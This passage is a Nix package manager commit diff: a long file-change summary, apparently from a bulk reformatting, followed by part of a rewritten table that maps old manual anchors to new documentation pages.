src/libstore-tests/nar-info-disk-cache.cc | 7 +- src/libstore-tests/nar-info.cc | 70 +- src/libstore-tests/outputs-spec.cc | 187 +- src/libstore-tests/path-info.cc | 71 +- src/libstore-tests/path.cc | 136 +- src/libstore-tests/serve-protocol.cc | 348 ++- src/libstore-tests/worker-protocol.cc | 603 ++-- src/libstore/binary-cache-store.cc | 285 +- src/libstore/build/derivation-goal.cc | 593 ++-- .../build/drv-output-substitution-goal.cc | 49 +- src/libstore/build/entry-points.cc | 54 +- src/libstore/build/goal.cc | 64 +- src/libstore/build/substitution-goal.cc | 79 +- src/libstore/build/worker.cc | 202 +- src/libstore/builtins/buildenv.cc | 46 +- src/libstore/builtins/fetchurl.cc | 12 +- src/libstore/builtins/unpack-channel.cc | 11 +- src/libstore/common-protocol.cc | 40 +- src/libstore/content-address.cc | 64 +- src/libstore/daemon.cc | 181 +- src/libstore/derivations.cc | 921 +++--- src/libstore/derived-path-map.cc | 55 +- src/libstore/derived-path.cc | 199 +- src/libstore/downstream-placeholder.cc | 44 +- src/libstore/dummy-store.cc | 52 +- src/libstore/export-import.cc | 34 +- src/libstore/filetransfer.cc | 316 +- src/libstore/gc.cc | 150 +- src/libstore/globals.cc | 128 +- src/libstore/http-binary-cache-store.cc | 44 +- .../include/nix/store/binary-cache-store.hh | 65 +- .../include/nix/store/build-result.hh | 61 +- .../nix/store/build/derivation-goal.hh | 48 +- .../build/drv-output-substitution-goal.hh | 17 +- src/libstore/include/nix/store/build/goal.hh | 109 +- .../nix/store/build/substitution-goal.hh | 26 +- .../include/nix/store/build/worker.hh | 30 +- src/libstore/include/nix/store/builtins.hh | 4 +- .../include/nix/store/builtins/buildenv.hh | 36 +- .../include/nix/store/common-protocol-impl.hh | 22 +- .../include/nix/store/common-protocol.hh | 15 +- .../nix/store/common-ssh-store-config.hh | 20 +- .../include/nix/store/content-address.hh | 34 +- src/libstore/include/nix/store/daemon.hh | 7 +- src/libstore/include/nix/store/derivations.hh | 125 +- .../include/nix/store/derived-path-map.hh | 12 +- .../include/nix/store/derived-path.hh | 62 +- .../nix/store/downstream-placeholder.hh | 5 +- .../include/nix/store/filetransfer.hh | 46 +- src/libstore/include/nix/store/gc-store.hh | 4 - src/libstore/include/nix/store/globals.hh | 353 ++- .../include/nix/store/legacy-ssh-store.hh | 97 +- .../store/length-prefixed-protocol-helper.hh | 63 +- .../include/nix/store/local-fs-store.hh | 27 +- .../include/nix/store/local-overlay-store.hh | 38 +- src/libstore/include/nix/store/local-store.hh | 71 +- src/libstore/include/nix/store/log-store.hh | 1 - src/libstore/include/nix/store/machines.hh | 3 +- .../nix/store/make-content-addressed.hh | 10 +- src/libstore/include/nix/store/names.hh | 3 +- .../include/nix/store/nar-accessor.hh | 4 +- .../include/nix/store/nar-info-disk-cache.hh | 26 +- src/libstore/include/nix/store/nar-info.hh | 27 +- .../include/nix/store/outputs-spec.hh | 32 +- src/libstore/include/nix/store/path-info.hh | 39 +- src/libstore/include/nix/store/path-regex.hh | 4 +- src/libstore/include/nix/store/path.hh | 13 +- src/libstore/include/nix/store/pathlocks.hh | 7 +- .../nix/store/posix-fs-canonicalise.hh | 6 +- src/libstore/include/nix/store/profiles.hh | 20 +- src/libstore/include/nix/store/realisation.hh | 63 +- .../include/nix/store/remote-fs-accessor.hh | 5 +- .../nix/store/remote-store-connection.hh | 19 +- .../include/nix/store/remote-store.hh | 90 +- src/libstore/include/nix/store/s3.hh | 30 +- .../include/nix/store/serve-protocol-impl.hh | 24 +- .../include/nix/store/serve-protocol.hh | 29 +- src/libstore/include/nix/store/sqlite.hh | 55 +- src/libstore/include/nix/store/ssh.hh | 8 +- src/libstore/include/nix/store/store-api.hh | 238 +- .../include/nix/store/store-dir-config.hh | 14 +- .../include/nix/store/uds-remote-store.hh | 33 +- .../include/nix/store/worker-protocol-impl.hh | 24 +- .../include/nix/store/worker-protocol.hh | 43 +- src/libstore/legacy-ssh-store.cc | 161 +- .../linux/include/nix/store/personality.hh | 2 - src/libstore/linux/personality.cc | 47 +- src/libstore/local-binary-cache-store.cc | 25 +- src/libstore/local-fs-store.cc | 33 +- src/libstore/local-overlay-store.cc | 64 +- src/libstore/local-store.cc | 537 ++-- src/libstore/log-store.cc | 3 +- src/libstore/machines.cc | 82 +- src/libstore/make-content-addressed.cc | 16 +- src/libstore/misc.cc | 465 +-- src/libstore/names.cc | 62 +- src/libstore/nar-accessor.cc | 73 +- src/libstore/nar-info-disk-cache.cc | 215 +- src/libstore/nar-info.cc | 77 +- src/libstore/optimise-store.cc | 92 +- src/libstore/outputs-spec.cc | 160 +- src/libstore/parsed-derivations.cc | 38 +- src/libstore/path-info.cc | 123 +- src/libstore/path-references.cc | 19 +- src/libstore/path-with-outputs.cc | 97 +- src/libstore/path.cc | 21 +- src/libstore/pathlocks.cc | 5 - src/libstore/posix-fs-canonicalise.cc | 46 +- src/libstore/profiles.cc | 71 +- src/libstore/realisation.cc | 59 +- src/libstore/remote-fs-accessor.cc | 39 +- src/libstore/remote-store.cc | 421 ++- src/libstore/s3-binary-cache-store.cc | 265 +- src/libstore/serve-protocol.cc | 60 +- src/libstore/sqlite.cc | 34 +- src/libstore/ssh-store.cc | 39 +- src/libstore/ssh.cc | 109 +- src/libstore/store-api.cc | 592 ++-- src/libstore/uds-remote-store.cc | 39 +- src/libstore/unix/build/hook-instance.cc | 8 +- .../unix/build/local-derivation-goal.cc | 1086 +++---- .../nix/store/build/local-derivation-goal.hh | 10 +- .../unix/include/nix/store/user-lock.hh | 2 +- src/libstore/unix/pathlocks.cc | 35 +- src/libstore/unix/user-lock.cc | 72 +- src/libstore/worker-protocol.cc | 159 +- src/libutil-c/nix_api_util_internal.h | 16 +- src/libutil-test-support/hash.cc | 18 +- .../nix/util/tests/characterization.hh | 43 +- .../include/nix/util/tests/hash.hh | 3 +- src/libutil-tests/args.cc | 182 +- src/libutil-tests/canon-path.cc | 342 ++- src/libutil-tests/chunked-vector.cc | 96 +- src/libutil-tests/closure.cc | 50 +- src/libutil-tests/compression.cc | 146 +- src/libutil-tests/config.cc | 502 +-- src/libutil-tests/file-content-address.cc | 46 +- src/libutil-tests/git.cc | 122 +- src/libutil-tests/hash.cc | 205 +- src/libutil-tests/hilite.cc | 110 +- src/libutil-tests/json-utils.cc | 82 +- src/libutil-tests/logging.cc | 8 +- src/libutil-tests/lru-cache.cc | 259 +- src/libutil-tests/pool.cc | 222 +- src/libutil-tests/references.cc | 29 +- src/libutil-tests/suggestions.cc | 70 +- src/libutil-tests/url.cc | 637 ++-- src/libutil-tests/xml-writer.cc | 147 +- src/libutil/archive.cc | 69 +- src/libutil/args.cc | 359 +-- src/libutil/canon-path.cc | 49 +- src/libutil/compute-levels.cc | 14 +- src/libutil/configuration.cc | 137 +- src/libutil/current-process.cc | 53 +- src/libutil/english.cc | 7 +- src/libutil/error.cc | 148 +- src/libutil/experimental-features.cc | 18 +- src/libutil/file-content-address.cc | 35 +- src/libutil/file-descriptor.cc | 51 +- src/libutil/file-system.cc | 219 +- src/libutil/fs-sink.cc | 73 +- src/libutil/git.cc | 124 +- src/libutil/hash.cc | 176 +- src/libutil/hilite.cc | 12 +- src/libutil/include/nix/util/archive.hh | 10 +- src/libutil/include/nix/util/args.hh | 108 +- src/libutil/include/nix/util/args/root.hh | 3 +- src/libutil/include/nix/util/callback.hh | 8 +- src/libutil/include/nix/util/canon-path.hh | 101 +- .../include/nix/util/chunked-vector.hh | 10 +- src/libutil/include/nix/util/closure.hh | 27 +- src/libutil/include/nix/util/comparator.hh | 21 +- src/libutil/include/nix/util/config-impl.hh | 52 +- src/libutil/include/nix/util/configuration.hh | 93 +- .../include/nix/util/current-process.hh | 2 +- src/libutil/include/nix/util/english.hh | 7 +- src/libutil/include/nix/util/error.hh | 117 +- src/libutil/include/nix/util/exit.hh | 10 +- .../include/nix/util/experimental-features.hh | 10 +- .../include/nix/util/file-content-address.hh | 20 +- .../include/nix/util/file-descriptor.hh | 21 +- .../include/nix/util/file-path-impl.hh | 26 +- src/libutil/include/nix/util/file-path.hh | 16 +- src/libutil/include/nix/util/file-system.hh | 51 +- src/libutil/include/nix/util/finally.hh | 7 +- src/libutil/include/nix/util/fmt.hh | 47 +- src/libutil/include/nix/util/fs-sink.hh | 34 +- src/libutil/include/nix/util/git.hh | 44 +- src/libutil/include/nix/util/hash.hh | 11 +- src/libutil/include/nix/util/hilite.hh | 7 +- src/libutil/include/nix/util/json-impls.hh | 17 +- src/libutil/include/nix/util/json-utils.hh | 43 +- src/libutil/include/nix/util/logging.hh | 136 +- src/libutil/include/nix/util/lru-cache.hh | 19 +- .../nix/util/memory-source-accessor.hh | 58 +- src/libutil/include/nix/util/pool.hh | 29 +- src/libutil/include/nix/util/position.hh | 74 +- .../include/nix/util/posix-source-accessor.hh | 5 +- src/libutil/include/nix/util/processes.hh | 22 +- src/libutil/include/nix/util/ref.hh | 21 +- src/libutil/include/nix/util/references.hh | 16 +- src/libutil/include/nix/util/serialise.hh | 197 +- src/libutil/include/nix/util/signals.hh | 6 +- .../include/nix/util/signature/local-keys.hh | 16 +- .../include/nix/util/signature/signer.hh | 2 +- .../include/nix/util/source-accessor.hh | 58 +- src/libutil/include/nix/util/source-path.hh | 26 +- src/libutil/include/nix/util/split.hh | 8 +- src/libutil/include/nix/util/suggestions.hh | 30 +- src/libutil/include/nix/util/sync.hh | 70 +- src/libutil/include/nix/util/terminal.hh | 5 +- src/libutil/include/nix/util/thread-pool.hh | 31 +- src/libutil/include/nix/util/topo-sort.hh | 13 +- src/libutil/include/nix/util/types.hh | 58 +- src/libutil/include/nix/util/url-parts.hh | 3 +- src/libutil/include/nix/util/url.hh | 9 +- src/libutil/include/nix/util/users.hh | 3 +- src/libutil/include/nix/util/util.hh | 143 +- .../include/nix/util/variant-wrapper.hh | 25 +- src/libutil/include/nix/util/xml-writer.hh | 14 +- src/libutil/json-utils.cc | 25 +- src/libutil/linux/cgroup.cc | 22 +- src/libutil/linux/namespaces.cc | 50 +- src/libutil/logging.cc | 139 +- src/libutil/memory-source-accessor.cc | 83 +- src/libutil/position.cc | 57 +- src/libutil/posix-source-accessor.cc | 116 +- src/libutil/references.cc | 43 +- src/libutil/serialise.cc | 155 +- src/libutil/signature/local-keys.cc | 15 +- src/libutil/signature/signer.cc | 3 +- src/libutil/source-accessor.cc | 48 +- src/libutil/source-path.cc | 56 +- src/libutil/suggestions.cc | 61 +- src/libutil/terminal.cc | 42 +- src/libutil/thread-pool.cc | 14 +- src/libutil/unix-domain-socket.cc | 31 +- src/libutil/unix/file-descriptor.cc | 50 +- src/libutil/unix/file-path.cc | 2 +- .../unix/include/nix/util/signals-impl.hh | 6 +- src/libutil/unix/processes.cc | 159 +- src/libutil/unix/signals.cc | 15 +- src/libutil/unix/users.cc | 23 +- src/libutil/url.cc | 58 +- src/libutil/users.cc | 5 +- src/libutil/util.cc | 77 +- src/libutil/widecharwidth/widechar_width.h | 1754 ++--------- src/libutil/windows/file-descriptor.cc | 65 +- src/libutil/windows/file-path.cc | 13 +- .../windows/include/nix/util/windows-error.hh | 13 +- src/libutil/windows/processes.cc | 13 +- src/libutil/windows/users.cc | 10 +- src/libutil/windows/windows-error.cc | 30 +- src/libutil/xml-writer.cc | 60 +- src/nix-build/nix-build.cc | 215 +- src/nix-channel/nix-channel.cc | 132 +- .../nix-collect-garbage.cc | 20 +- src/nix-env/nix-env.cc | 719 +++-- src/nix-env/user-env.cc | 39 +- src/nix-env/user-env.hh | 5 +- src/nix-instantiate/nix-instantiate.cc | 45 +- src/nix-store/dotgraph.cc | 27 +- src/nix-store/graphml.cc | 14 +- src/nix-store/nix-store.cc | 885 +++--- src/nix/add-to-store.cc | 14 +- src/nix/app.cc | 92 +- src/nix/build.cc | 69 +- src/nix/bundle.cc | 46 +- src/nix/cat.cc | 20 +- src/nix/config-check.cc | 41 +- src/nix/config.cc | 19 +- src/nix/copy.cc | 15 +- src/nix/derivation-add.cc | 9 +- src/nix/derivation-show.cc | 15 +- src/nix/derivation.cc | 11 +- src/nix/develop.cc | 131 +- src/nix/diff-closures.cc | 34 +- src/nix/dump-path.cc | 20 +- src/nix/edit.cc | 12 +- src/nix/eval.cc | 44 +- src/nix/flake.cc | 873 +++--- src/nix/fmt.cc | 33 +- src/nix/hash.cc | 136 +- src/nix/log.cc | 24 +- src/nix/ls.cc | 41 +- src/nix/main.cc | 179 +- src/nix/make-content-addressed.cc | 12 +- src/nix/nar.cc | 15 +- src/nix/optimise-store.cc | 4 +- src/nix/path-from-hash-part.cc | 4 +- src/nix/path-info.cc | 29 +- src/nix/prefetch.cc | 103 +- src/nix/profile.cc | 352 ++- src/nix/realisation.cc | 25 +- src/nix/registry.cc | 78 +- src/nix/repl.cc | 45 +- src/nix/run.cc | 51 +- src/nix/run.hh | 8 +- src/nix/search.cc | 57 +- src/nix/sigs.cc | 34 +- src/nix/store-copy-log.cc | 4 +- src/nix/store-delete.cc | 6 +- src/nix/store-gc.cc | 4 +- src/nix/store-info.cc | 8 +- src/nix/store-repair.cc | 4 +- src/nix/store.cc | 10 +- src/nix/unix/daemon.cc | 165 +- src/nix/upgrade-nix.cc | 35 +- src/nix/verify.cc | 29 +- src/nix/why-depends.cc | 93 +- tests/functional/plugins/plugintest.cc | 5 +- .../functional/test-libstoreconsumer/main.cc | 10 +- tests/nixos/ca-fd-leak/sender.c | 28 +- tests/nixos/ca-fd-leak/smuggler.c | 33 +- tests/nixos/user-sandboxing/attacker.c | 128 +- 445 files changed, 23096 insertions(+), 23220 deletions(-) diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 961243848..bfeb38018 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -13,371 +13,377 @@ // - values are redirection targets relative to the current path. const redirects = { - "index.html": { - "part-advanced-topics": "advanced-topics/index.html", - "chap-tuning-cores-and-jobs": "advanced-topics/cores-vs-jobs.html", - "chap-diff-hook": "advanced-topics/diff-hook.html", - "check-dirs-are-unregistered": "advanced-topics/diff-hook.html#check-dirs-are-unregistered", - "chap-distributed-builds": "command-ref/conf-file.html#conf-builders", - "chap-post-build-hook": "advanced-topics/post-build-hook.html", - "chap-post-build-hook-caveats": "advanced-topics/post-build-hook.html#implementation-caveats", - "chap-writing-nix-expressions": "language/index.html", - "part-command-ref": "command-ref/index.html", - "conf-allow-import-from-derivation": "command-ref/conf-file.html#conf-allow-import-from-derivation", - "conf-allow-new-privileges": "command-ref/conf-file.html#conf-allow-new-privileges", - "conf-allowed-uris": "command-ref/conf-file.html#conf-allowed-uris", - "conf-allowed-users": "command-ref/conf-file.html#conf-allowed-users", - "conf-auto-optimise-store": "command-ref/conf-file.html#conf-auto-optimise-store", - "conf-binary-cache-public-keys": "command-ref/conf-file.html#conf-binary-cache-public-keys", - "conf-binary-caches": "command-ref/conf-file.html#conf-binary-caches", - "conf-build-compress-log": "command-ref/conf-file.html#conf-build-compress-log", - "conf-build-cores": "command-ref/conf-file.html#conf-build-cores", - "conf-build-extra-chroot-dirs": "command-ref/conf-file.html#conf-build-extra-chroot-dirs", - "conf-build-extra-sandbox-paths": "command-ref/conf-file.html#conf-build-extra-sandbox-paths", - "conf-build-fallback": "command-ref/conf-file.html#conf-build-fallback", - "conf-build-max-jobs": "command-ref/conf-file.html#conf-build-max-jobs", - "conf-build-max-log-size": "command-ref/conf-file.html#conf-build-max-log-size", - "conf-build-max-silent-time": "command-ref/conf-file.html#conf-build-max-silent-time", - "conf-build-timeout": "command-ref/conf-file.html#conf-build-timeout", - "conf-build-use-chroot": "command-ref/conf-file.html#conf-build-use-chroot", - "conf-build-use-sandbox": "command-ref/conf-file.html#conf-build-use-sandbox", - "conf-build-use-substitutes": "command-ref/conf-file.html#conf-build-use-substitutes", - "conf-build-users-group": "command-ref/conf-file.html#conf-build-users-group", - "conf-builders": "command-ref/conf-file.html#conf-builders", - "conf-builders-use-substitutes": "command-ref/conf-file.html#conf-builders-use-substitutes", - "conf-compress-build-log": "command-ref/conf-file.html#conf-compress-build-log", - "conf-connect-timeout": "command-ref/conf-file.html#conf-connect-timeout", - "conf-cores": "command-ref/conf-file.html#conf-cores", - "conf-diff-hook": "command-ref/conf-file.html#conf-diff-hook", - "conf-env-keep-derivations": "command-ref/conf-file.html#conf-env-keep-derivations", - "conf-extra-binary-caches": "command-ref/conf-file.html#conf-extra-binary-caches", - "conf-extra-platforms": "command-ref/conf-file.html#conf-extra-platforms", - "conf-extra-sandbox-paths": "command-ref/conf-file.html#conf-extra-sandbox-paths", - "conf-extra-substituters": "command-ref/conf-file.html#conf-extra-substituters", - "conf-fallback": "command-ref/conf-file.html#conf-fallback", - "conf-fsync-metadata": "command-ref/conf-file.html#conf-fsync-metadata", - "conf-gc-keep-derivations": "command-ref/conf-file.html#conf-gc-keep-derivations", - "conf-gc-keep-outputs": "command-ref/conf-file.html#conf-gc-keep-outputs", - "conf-hashed-mirrors": "command-ref/conf-file.html#conf-hashed-mirrors", - "conf-http-connections": "command-ref/conf-file.html#conf-http-connections", - "conf-keep-build-log": "command-ref/conf-file.html#conf-keep-build-log", - "conf-keep-derivations": "command-ref/conf-file.html#conf-keep-derivations", - "conf-keep-env-derivations": "command-ref/conf-file.html#conf-keep-env-derivations", - "conf-keep-outputs": "command-ref/conf-file.html#conf-keep-outputs", - "conf-max-build-log-size": "command-ref/conf-file.html#conf-max-build-log-size", - "conf-max-free": "command-ref/conf-file.html#conf-max-free", - "conf-max-jobs": "command-ref/conf-file.html#conf-max-jobs", - "conf-max-silent-time": "command-ref/conf-file.html#conf-max-silent-time", - "conf-min-free": "command-ref/conf-file.html#conf-min-free", - "conf-narinfo-cache-negative-ttl": "command-ref/conf-file.html#conf-narinfo-cache-negative-ttl", - "conf-narinfo-cache-positive-ttl": "command-ref/conf-file.html#conf-narinfo-cache-positive-ttl", - "conf-netrc-file": "command-ref/conf-file.html#conf-netrc-file", - "conf-plugin-files": "command-ref/conf-file.html#conf-plugin-files", - "conf-post-build-hook": "command-ref/conf-file.html#conf-post-build-hook", - "conf-pre-build-hook": "command-ref/conf-file.html#conf-pre-build-hook", - "conf-require-sigs": "command-ref/conf-file.html#conf-require-sigs", - "conf-restrict-eval": "command-ref/conf-file.html#conf-restrict-eval", - "conf-run-diff-hook": "command-ref/conf-file.html#conf-run-diff-hook", - "conf-sandbox": "command-ref/conf-file.html#conf-sandbox", - "conf-sandbox-dev-shm-size": "command-ref/conf-file.html#conf-sandbox-dev-shm-size", - "conf-sandbox-paths": "command-ref/conf-file.html#conf-sandbox-paths", - "conf-secret-key-files": "command-ref/conf-file.html#conf-secret-key-files", - "conf-show-trace": "command-ref/conf-file.html#conf-show-trace", - "conf-stalled-download-timeout": "command-ref/conf-file.html#conf-stalled-download-timeout", - "conf-substitute": "command-ref/conf-file.html#conf-substitute", - "conf-substituters": "command-ref/conf-file.html#conf-substituters", - "conf-system": "command-ref/conf-file.html#conf-system", - "conf-system-features": "command-ref/conf-file.html#conf-system-features", - "conf-tarball-ttl": "command-ref/conf-file.html#conf-tarball-ttl", - "conf-timeout": "command-ref/conf-file.html#conf-timeout", - "conf-trace-function-calls": "command-ref/conf-file.html#conf-trace-function-calls", - "conf-trusted-binary-caches": "command-ref/conf-file.html#conf-trusted-binary-caches", - "conf-trusted-public-keys": "command-ref/conf-file.html#conf-trusted-public-keys", - "conf-trusted-substituters": "command-ref/conf-file.html#conf-trusted-substituters", - "conf-trusted-users": "command-ref/conf-file.html#conf-trusted-users", - "extra-sandbox-paths": "command-ref/conf-file.html#extra-sandbox-paths", - "sec-conf-file": "command-ref/conf-file.html", - "env-NIX_PATH": "command-ref/env-common.html#env-NIX_PATH", - "env-common": "command-ref/env-common.html", - "envar-remote": "command-ref/env-common.html#env-NIX_REMOTE", - "sec-common-env": "command-ref/env-common.html", - "ch-files": "command-ref/files.html", - "ch-main-commands": "command-ref/main-commands.html", - "opt-out-link": "command-ref/nix-build.html#opt-out-link", - "sec-nix-build": "command-ref/nix-build.html", - "sec-nix-channel": "command-ref/nix-channel.html", - "sec-nix-collect-garbage": "command-ref/nix-collect-garbage.html", - "sec-nix-copy-closure": "command-ref/nix-copy-closure.html", - "sec-nix-daemon": "command-ref/nix-daemon.html", - "refsec-nix-env-install-examples": "command-ref/nix-env.html#examples", - "rsec-nix-env-install": "command-ref/nix-env.html#operation---install", - "rsec-nix-env-set": "command-ref/nix-env.html#operation---set", - "rsec-nix-env-set-flag": "command-ref/nix-env.html#operation---set-flag", - "rsec-nix-env-upgrade": "command-ref/nix-env.html#operation---upgrade", - "sec-nix-env": "command-ref/nix-env.html", - "ssec-version-comparisons": "command-ref/nix-env.html#versions", - "sec-nix-hash": "command-ref/nix-hash.html", - "sec-nix-instantiate": "command-ref/nix-instantiate.html", - "sec-nix-prefetch-url": "command-ref/nix-prefetch-url.html", - "sec-nix-shell": "command-ref/nix-shell.html", - "ssec-nix-shell-shebang": "command-ref/nix-shell.html#use-as-a--interpreter", - "nixref-queries": "command-ref/nix-store.html#queries", - "opt-add-root": "command-ref/nix-store.html#opt-add-root", - "refsec-nix-store-dump": "command-ref/nix-store.html#operation---dump", - "refsec-nix-store-export": "command-ref/nix-store.html#operation---export", - "refsec-nix-store-import": "command-ref/nix-store.html#operation---import", - "refsec-nix-store-query": "command-ref/nix-store.html#operation---query", - "refsec-nix-store-verify": "command-ref/nix-store.html#operation---verify", - "rsec-nix-store-gc": "command-ref/nix-store.html#operation---gc", - "rsec-nix-store-generate-binary-cache-key": "command-ref/nix-store.html#operation---generate-binary-cache-key", - "rsec-nix-store-realise": "command-ref/nix-store.html#operation---realise", - "rsec-nix-store-serve": "command-ref/nix-store.html#operation---serve", - "sec-nix-store": "command-ref/nix-store.html", - "opt-I": "command-ref/opt-common.html#opt-I", - "opt-attr": "command-ref/opt-common.html#opt-attr", - "opt-common": "command-ref/opt-common.html", - "opt-cores": "command-ref/opt-common.html#opt-cores", - "opt-log-format": "command-ref/opt-common.html#opt-log-format", - "opt-max-jobs": "command-ref/opt-common.html#opt-max-jobs", - "opt-max-silent-time": "command-ref/opt-common.html#opt-max-silent-time", - "opt-timeout": "command-ref/opt-common.html#opt-timeout", - "sec-common-options": "command-ref/opt-common.html", - "ch-utilities": "command-ref/utilities.html", - "chap-hacking": "development/building.html", - "adv-attr-allowSubstitutes": "language/advanced-attributes.html#adv-attr-allowSubstitutes", - "adv-attr-allowedReferences": "language/advanced-attributes.html#adv-attr-allowedReferences", - "adv-attr-allowedRequisites": "language/advanced-attributes.html#adv-attr-allowedRequisites", - "adv-attr-disallowedReferences": "language/advanced-attributes.html#adv-attr-disallowedReferences", - "adv-attr-disallowedRequisites": "language/advanced-attributes.html#adv-attr-disallowedRequisites", - "adv-attr-exportReferencesGraph": "language/advanced-attributes.html#adv-attr-exportReferencesGraph", - "adv-attr-impureEnvVars": "language/advanced-attributes.html#adv-attr-impureEnvVars", - "adv-attr-outputHash": "language/advanced-attributes.html#adv-attr-outputHash", - "adv-attr-outputHashAlgo": "language/advanced-attributes.html#adv-attr-outputHashAlgo", - "adv-attr-outputHashMode": "language/advanced-attributes.html#adv-attr-outputHashMode", - "adv-attr-passAsFile": "language/advanced-attributes.html#adv-attr-passAsFile", - "adv-attr-preferLocalBuild": "language/advanced-attributes.html#adv-attr-preferLocalBuild", - "fixed-output-drvs": "language/advanced-attributes.html#adv-attr-outputHash", - "sec-advanced-attributes": "language/advanced-attributes.html", - "builtin-abort": "language/builtins.html#builtins-abort", - "builtin-add": "language/builtins.html#builtins-add", - "builtin-all": "language/builtins.html#builtins-all", - "builtin-any": "language/builtins.html#builtins-any", - "builtin-attrNames": "language/builtins.html#builtins-attrNames", - "builtin-attrValues": "language/builtins.html#builtins-attrValues", - "builtin-baseNameOf": "language/builtins.html#builtins-baseNameOf", - "builtin-bitAnd": "language/builtins.html#builtins-bitAnd", - "builtin-bitOr": "language/builtins.html#builtins-bitOr", - "builtin-bitXor": "language/builtins.html#builtins-bitXor", - "builtin-builtins": "language/builtins.html#builtins-builtins", - "builtin-compareVersions": "language/builtins.html#builtins-compareVersions", - "builtin-concatLists": "language/builtins.html#builtins-concatLists", - "builtin-concatStringsSep": "language/builtins.html#builtins-concatStringsSep", - "builtin-currentSystem": "language/builtins.html#builtins-currentSystem", - "builtin-deepSeq": "language/builtins.html#builtins-deepSeq", - "builtin-derivation": "language/builtins.html#builtins-derivation", - "builtin-dirOf": "language/builtins.html#builtins-dirOf", - "builtin-div": "language/builtins.html#builtins-div", - "builtin-elem": "language/builtins.html#builtins-elem", - "builtin-elemAt": "language/builtins.html#builtins-elemAt", - "builtin-fetchGit": "language/builtins.html#builtins-fetchGit", - "builtin-fetchTarball": "language/builtins.html#builtins-fetchTarball", - "builtin-fetchurl": "language/builtins.html#builtins-fetchurl", - "builtin-filterSource": "language/builtins.html#builtins-filterSource", - "builtin-foldl-prime": "language/builtins.html#builtins-foldl-prime", - "builtin-fromJSON": "language/builtins.html#builtins-fromJSON", - "builtin-functionArgs": "language/builtins.html#builtins-functionArgs", - "builtin-genList": "language/builtins.html#builtins-genList", - "builtin-getAttr": "language/builtins.html#builtins-getAttr", - "builtin-getEnv": "language/builtins.html#builtins-getEnv", - "builtin-hasAttr": "language/builtins.html#builtins-hasAttr", - "builtin-hashFile": "language/builtins.html#builtins-hashFile", - "builtin-hashString": "language/builtins.html#builtins-hashString", - "builtin-head": "language/builtins.html#builtins-head", - "builtin-import": "language/builtins.html#builtins-import", - "builtin-intersectAttrs": "language/builtins.html#builtins-intersectAttrs", - "builtin-isAttrs": "language/builtins.html#builtins-isAttrs", - "builtin-isBool": "language/builtins.html#builtins-isBool", - "builtin-isFloat": "language/builtins.html#builtins-isFloat", - "builtin-isFunction": "language/builtins.html#builtins-isFunction", - "builtin-isInt": "language/builtins.html#builtins-isInt", - "builtin-isList": "language/builtins.html#builtins-isList", - "builtin-isNull": "language/builtins.html#builtins-isNull", - "builtin-isString": "language/builtins.html#builtins-isString", - "builtin-length": "language/builtins.html#builtins-length", - "builtin-lessThan": "language/builtins.html#builtins-lessThan", - "builtin-listToAttrs": "language/builtins.html#builtins-listToAttrs", - "builtin-map": "language/builtins.html#builtins-map", - "builtin-match": "language/builtins.html#builtins-match", - "builtin-mul": "language/builtins.html#builtins-mul", - "builtin-parseDrvName": "language/builtins.html#builtins-parseDrvName", - "builtin-path": "language/builtins.html#builtins-path", - "builtin-pathExists": "language/builtins.html#builtins-pathExists", - "builtin-placeholder": "language/builtins.html#builtins-placeholder", - "builtin-readDir": "language/builtins.html#builtins-readDir", - "builtin-readFile": "language/builtins.html#builtins-readFile", - "builtin-removeAttrs": "language/builtins.html#builtins-removeAttrs", - "builtin-replaceStrings": "language/builtins.html#builtins-replaceStrings", - "builtin-seq": "language/builtins.html#builtins-seq", - "builtin-sort": "language/builtins.html#builtins-sort", - "builtin-split": "language/builtins.html#builtins-split", - "builtin-splitVersion": "language/builtins.html#builtins-splitVersion", - "builtin-stringLength": "language/builtins.html#builtins-stringLength", - "builtin-sub": "language/builtins.html#builtins-sub", - "builtin-substring": "language/builtins.html#builtins-substring", - "builtin-tail": "language/builtins.html#builtins-tail", - "builtin-throw": "language/builtins.html#builtins-throw", - "builtin-toFile": "language/builtins.html#builtins-toFile", - "builtin-toJSON": "language/builtins.html#builtins-toJSON", - "builtin-toPath": "language/builtins.html#builtins-toPath", - "builtin-toString": "language/builtins.html#builtins-toString", - "builtin-toXML": "language/builtins.html#builtins-toXML", - "builtin-trace": "language/builtins.html#builtins-trace", - "builtin-tryEval": "language/builtins.html#builtins-tryEval", - "builtin-typeOf": "language/builtins.html#builtins-typeOf", - "ssec-builtins": "language/builtins.html", - "attr-system": "language/derivations.html#attr-system", - "ssec-derivation": "language/derivations.html", - "ch-expression-language": "language/index.html", - "sec-constructs": "language/syntax.html", - "sect-let-language": "language/syntax.html#let-expressions", - "ss-functions": "language/syntax.html#functions", - "sec-language-operators": "language/operators.html", - "table-operators": "language/operators.html", - "ssec-values": "language/types.html", - "gloss-closure": "glossary.html#gloss-closure", - "gloss-derivation": "glossary.html#gloss-derivation", - "gloss-deriver": "glossary.html#gloss-deriver", - "gloss-nar": "glossary.html#gloss-nar", - "gloss-output-path": "glossary.html#gloss-output-path", - "gloss-profile": "glossary.html#gloss-profile", - "gloss-reachable": "glossary.html#gloss-reachable", - "gloss-reference": "glossary.html#gloss-reference", - "gloss-substitute": "glossary.html#gloss-substitute", - "gloss-user-env": "glossary.html#gloss-user-env", - "gloss-validity": "glossary.html#gloss-validity", - "part-glossary": "glossary.html", - "sec-building-source": "installation/building-source.html", - "ch-env-variables": "installation/env-variables.html", - "sec-installer-proxy-settings": "installation/env-variables.html#proxy-environment-variables", - "sec-nix-ssl-cert-file": "installation/env-variables.html#nix_ssl_cert_file", - "sec-nix-ssl-cert-file-with-nix-daemon-and-macos": "installation/env-variables.html#nix_ssl_cert_file-with-macos-and-the-nix-daemon", - "chap-installation": "installation/index.html", - "ch-installing-binary": "installation/installing-binary.html", - "sect-macos-installation": "installation/installing-binary.html#macos-installation", - "sect-macos-installation-change-store-prefix": "installation/installing-binary.html#macos-installation", - "sect-macos-installation-encrypted-volume": "installation/installing-binary.html#macos-installation", - "sect-macos-installation-recommended-notes": "installation/installing-binary.html#macos-installation", - "sect-macos-installation-symlink": "installation/installing-binary.html#macos-installation", - "sect-multi-user-installation": "installation/installing-binary.html#multi-user-installation", - "sect-nix-install-binary-tarball": "installation/installing-binary.html#installing-from-a-binary-tarball", - "sect-nix-install-pinned-version-url": "installation/installing-binary.html#installing-a-pinned-nix-version-from-a-url", - "sect-single-user-installation": "installation/installing-binary.html#single-user-installation", - "ch-installing-source": "installation/installing-source.html", - "ssec-multi-user": 